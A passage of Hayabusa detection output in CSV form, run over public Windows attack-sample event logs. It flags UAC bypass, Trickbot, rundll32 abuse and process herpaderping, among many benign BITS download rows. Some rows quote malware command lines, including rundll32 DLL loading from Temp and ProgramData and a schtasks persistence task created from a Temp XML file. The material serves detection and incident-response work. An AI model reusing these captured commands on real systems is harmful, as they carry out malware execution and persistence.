DESKTOP-NTSSLJD\den : Parent Command: ""C:\Program Files\Internet Explorer\IEInstal.exe"" -Embedding",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_64.evtx +2020-10-20 20:50:56.490 +09:00,DESKTOP-NTSSLJD,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_64.evtx +2020-10-20 20:50:56.490 +09:00,DESKTOP-NTSSLJD,1,high,UAC Bypass Using IEInstal - Process,,rules/sigma/process_creation/win_uac_bypass_ieinstal.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_64.evtx +2020-10-20 20:50:56.569 +09:00,DESKTOP-NTSSLJD,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1059.003,technique_name=Windows Command Shell : Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: DESKTOP-NTSSLJD\den : Parent Command: C:\Users\den\AppData\Local\Temp\IDC1.tmp\[1]consent.exe",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_64.evtx +2020-10-21 07:33:02.063 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\wermgr.exe : Path: C:\Windows\System32\wermgr.exe : User: MSEDGEWIN10\IEUser : Parent Command: rundll32.exe c:\temp\winfire.dll,DllRegisterServer",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_hollowing_wermgr_masquerading.evtx +2020-10-21 07:33:02.063 +09:00,MSEDGEWIN10,1,critical,Trickbot Malware Activity,,rules/sigma/process_creation/win_malware_trickbot_wermgr.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_hollowing_wermgr_masquerading.evtx +2020-10-21 07:33:02.064 +09:00,MSEDGEWIN10,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_hollowing_wermgr_masquerading.evtx +2020-10-21 07:35:26.755 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding : Path: C:\Windows\System32\wbem\WmiPrvSE.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_hollowing_wermgr_masquerading.evtx +2020-10-24 06:55:59.769 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: C:\Users\IEUser\AppData\Local\Temp\{2015B2D1-1706-42F6-8C0E-8BEECB408D48}-86.0.4240.111_86.0.4240.75_chrome_updater.exe : URL: http://r2---sn-5hnekn7z.gvt1.com/edgedl/release2/chrome/E4_ltUMmNI-KvJYPRyaXng_86.0.4240.111/86.0.4240.111_86.0.4240.75_chrome_updater.exe?cms_redirect=yes&mh=3q&mip=213.127.65.23&mm=28&mn=sn-5hnekn7z&ms=nvh&mt=1603490058&mv=m&mvi=2&pl=17&shardbypass=yes,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-24 06:57:29.217 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding : Path: C:\Windows\System32\wbem\WmiPrvSE.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_cmd_schtask.evtx +2020-10-24 06:57:36.014 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\rundll32.exe"" conf3234.dll f8753 d948 : Path: C:\Windows\SysWOW64\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: c:\Users\Public\test.tmp ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_cmd_schtask.evtx +2020-10-24 06:57:36.399 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" /C schtasks /Create /f /XML C:\Users\IEUser\AppData\Local\Temp\sduchxll.tmp /TN DataUsageHandlers : Path: C:\Windows\SysWOW64\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\rundll32.exe"" conf3234.dll f8753 d948",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_cmd_schtask.evtx +2020-10-24 06:57:36.631 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: schtasks /Create /f /XML C:\Users\IEUser\AppData\Local\Temp\sduchxll.tmp /TN DataUsageHandlers : Path: C:\Windows\SysWOW64\schtasks.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C schtasks /Create /f /XML C:\Users\IEUser\AppData\Local\Temp\sduchxll.tmp /TN DataUsageHandlers",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_cmd_schtask.evtx +2020-10-24 06:57:36.631 +09:00,MSEDGEWIN10,1,low,Scheduled Task Creation,,rules/sigma/process_creation/win_susp_schtask_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_cmd_schtask.evtx +2020-10-24 06:57:36.631 +09:00,MSEDGEWIN10,1,high,Suspicius Add Task From User AppData Temp,,rules/sigma/process_creation/win_pc_susp_schtasks_user_temp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_cmd_schtask.evtx +2020-10-24 06:58:17.176 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: Rundll32.exe shell32.dll,Control_RunDLL C:\PROGRA~3\DATAUS~1.DLL 4624665222 : Path: C:\Windows\System32\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: ?",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_cmd_schtask.evtx +2020-10-24 06:58:17.176 +09:00,MSEDGEWIN10,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_cmd_schtask.evtx +2020-10-24 06:58:17.543 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\SysWOW64\rundll32.exe"" ""C:\Windows\SysWOW64\shell32.dll"",#44 C:\PROGRA~3\DATAUS~1.DLL 4624665222 : Path: C:\Windows\SysWOW64\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: Rundll32.exe shell32.dll,Control_RunDLL C:\PROGRA~3\DATAUS~1.DLL 4624665222",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_cmd_schtask.evtx +2020-10-24 06:58:17.543 +09:00,MSEDGEWIN10,1,high,Suspicious Call by Ordinal,,rules/sigma/process_creation/win_susp_rundll32_by_ordinal.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_cmd_schtask.evtx +2020-10-24 06:58:21.695 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32.exe C:\PROGRA~3\DATAUS~1.DLL f8755 4624665222 : Path: C:\Windows\SysWOW64\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\SysWOW64\rundll32.exe"" ""C:\Windows\SysWOW64\shell32.dll"",#44 C:\PROGRA~3\DATAUS~1.DLL 4624665222",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_cmd_schtask.evtx +2020-10-24 06:58:22.066 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\rundll32.exe"" DATAUS~1.DLL f8755 4624665222 rd : Path: C:\Windows\SysWOW64\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: rundll32.exe C:\PROGRA~3\DATAUS~1.DLL f8755 4624665222",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_cmd_schtask.evtx +2020-10-24 22:15:50.672 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Font Download : URL: https://fs.microsoft.com/fs/windows/config.json,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-24 22:53:41.949 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1amaWj.img?w=100&h=100&m=6&tilesize=medium&x=1912&y=840&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-24 22:53:43.173 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161342140454_Images/LiveTileImages/MediumAndLarge/Image3.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-24 23:25:16.281 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-24 23:25:17.595 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-25 00:07:57.551 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1amczd.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-25 00:07:57.815 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161342140454_Images/LiveTileImages/MediumAndLarge/Image2.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-25 05:37:35.394 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1amg5S.img?w=100&h=100&m=6&tilesize=medium&x=2238&y=680&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-27 19:17:18.397 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: "".\samir.exe"" : Path: C:\Users\bouss\Downloads\samir.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: ProcessHerpaderping.exe ""c:\Program Files\Internet Explorer\iexplore.exe"" .\samir.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_ProcessHerpaderping_Sysmon_11_10_1_7.evtx +2020-10-27 19:17:18.397 +09:00,LAPTOP-JU4M3I0E,1,medium,Suspicious File Characteristics Due to Missing Fields,,rules/sigma/process_creation/win_susp_file_characteristics.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_ProcessHerpaderping_Sysmon_11_10_1_7.evtx +2020-11-02 03:28:53.729 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Font Download : URL: https://fs.microsoft.com/fs/windows/config.json,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-02 03:30:10.144 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-02 03:30:10.448 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-02 03:30:10.667 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: SetupBinary : URL: https://oneclient.sfx.ms/Win/Prod/20.169.0823.0008/OneDriveSetup.exe,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-02 03:30:11.059 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: SetupBinary : URL: https://oneclient.sfx.ms/Win/Prod/20.169.0823.0008/OneDriveSetup.exe,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-02 03:33:01.610 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-05 19:55:56.114 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: C:\Users\IEUser\AppData\Local\Temp\{DE1AA2CB-2733-420D-BD53-D15E1761ED0D}-86.0.4240.183_86.0.4240.111_chrome_updater.exe : URL: http://r2---sn-5hnekn7d.gvt1.com/edgedl/release2/chrome/APOVneiKVAxsNCc0oAg3ibQ_86.0.4240.183/86.0.4240.183_86.0.4240.111_chrome_updater.exe?cms_redirect=yes&mh=T1&mip=213.127.67.78&mm=28&mn=sn-5hnekn7d&ms=nvh&mt=1604573655&mv=m&mvi=2&pl=17&shardbypass=yes,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-05 19:59:25.802 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-05 19:59:51.480 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-05 20:03:04.083 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aHmh2.img?w=100&h=100&m=6&tilesize=medium&x=2005&y=1451&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-05 20:03:05.093 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161342940453_Images/LiveTileImages/MediumAndLarge/Image1.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-05 20:03:06.197 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: http://blob.weather.microsoft.com:80/static/mws-new/WeatherImages/210x173/29.jpg?a,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-05 21:31:12.664 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-05 21:31:12.941 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-05 21:33:21.719 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aFbhf.img?w=100&h=100&m=6&tilesize=medium&x=2920&y=321&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-06 00:25:28.955 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aIYx8.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-06 00:25:30.216 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161342940453_Images/LiveTileImages/MediumAndLarge/Image3.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-06 19:52:28.687 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aKxpG.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-06 23:56:52.824 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-08 00:33:50.498 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19R5M0.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-08 00:36:30.267 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-08 00:36:30.760 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-09 17:25:00.043 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Font Download : URL: https://fs.microsoft.com/fs/windows/config.json,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-09 17:28:07.533 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-09 17:28:08.240 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-09 20:33:58.291 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aPIV0.img?w=100&h=100&m=6&tilesize=medium&x=1544&y=1092&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-09 20:33:58.749 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161350540457_Images/LiveTileImages/MediumAndLarge/Image2.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-09 20:33:59.731 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: http://blob.weather.microsoft.com:80/static/mws-new/WeatherImages/210x173/32.jpg?a,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-09 22:29:29.376 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-09 22:29:29.868 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-10 21:35:58.814 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-10 21:36:00.732 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-11 21:51:23.040 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-11 21:51:33.078 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.703 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aUuAd.img?w=100&h=100&m=6&tilesize=medium&x=795&y=190&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.714 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aUuAd.img?w=100&h=100&m=6&tilesize=medium&x=795&y=190&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.718 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aUuAd.img?w=100&h=100&m=6&tilesize=medium&x=795&y=190&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.722 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aUuAd.img?w=100&h=100&m=6&tilesize=medium&x=795&y=190&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.743 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: 